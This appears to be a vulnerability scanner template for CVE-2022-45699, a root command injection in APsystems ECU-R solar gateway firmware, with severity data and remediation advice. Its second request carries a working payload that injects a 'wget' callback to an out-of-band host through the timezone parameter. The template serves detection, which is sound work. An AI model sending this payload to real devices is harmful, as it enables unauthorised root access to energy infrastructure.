CVE-2022-45699: APsystems ECU-R Firmware - Command Injection

id: CVE-2022-45699

info:
  name: APsystems ECU-R Firmware - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with root privileges through the timezone parameter in the administration interface, potentially compromising the entire solar power management system and connected infrastructure.
  remediation: |
    Upgrade APsystems ECU-R firmware to a patched version that properly sanitizes the timezone parameter and validates input to prevent command injection.
  reference:
    - https://github.com/0xst4n/APSystems-ECU-R-RCE-Timezone
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45699
    cwe-id: CWE-78,CWE-94
    epss-score: 0.76604
    epss-percentile: 0.99517
    cpe: cpe:2.3:o:apsystems:ecu-r_firmware:5203:*:*:*:*:*:*:*
  metadata:
    vendor: apsystems
    product: ecu-r_firmware
  tags: cve,cve2022,rce,apsystems,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "<title>Altenergy Power Control Software"
        internal: true

  - raw:
      - |
        POST /index.php/management/set_timezone HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        timezone=;wget+{{interactsh-url}};#

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008236ba2a6d0412f397d9bf22b8c894d3dfc11142f52b5cac632a04729f6037d402202ea829ee98c0e0d4eb63439d1f61c309caf71fe3e1974d2c118e1d93fbc90820:922c64590222798bb761d5b6d8e72950

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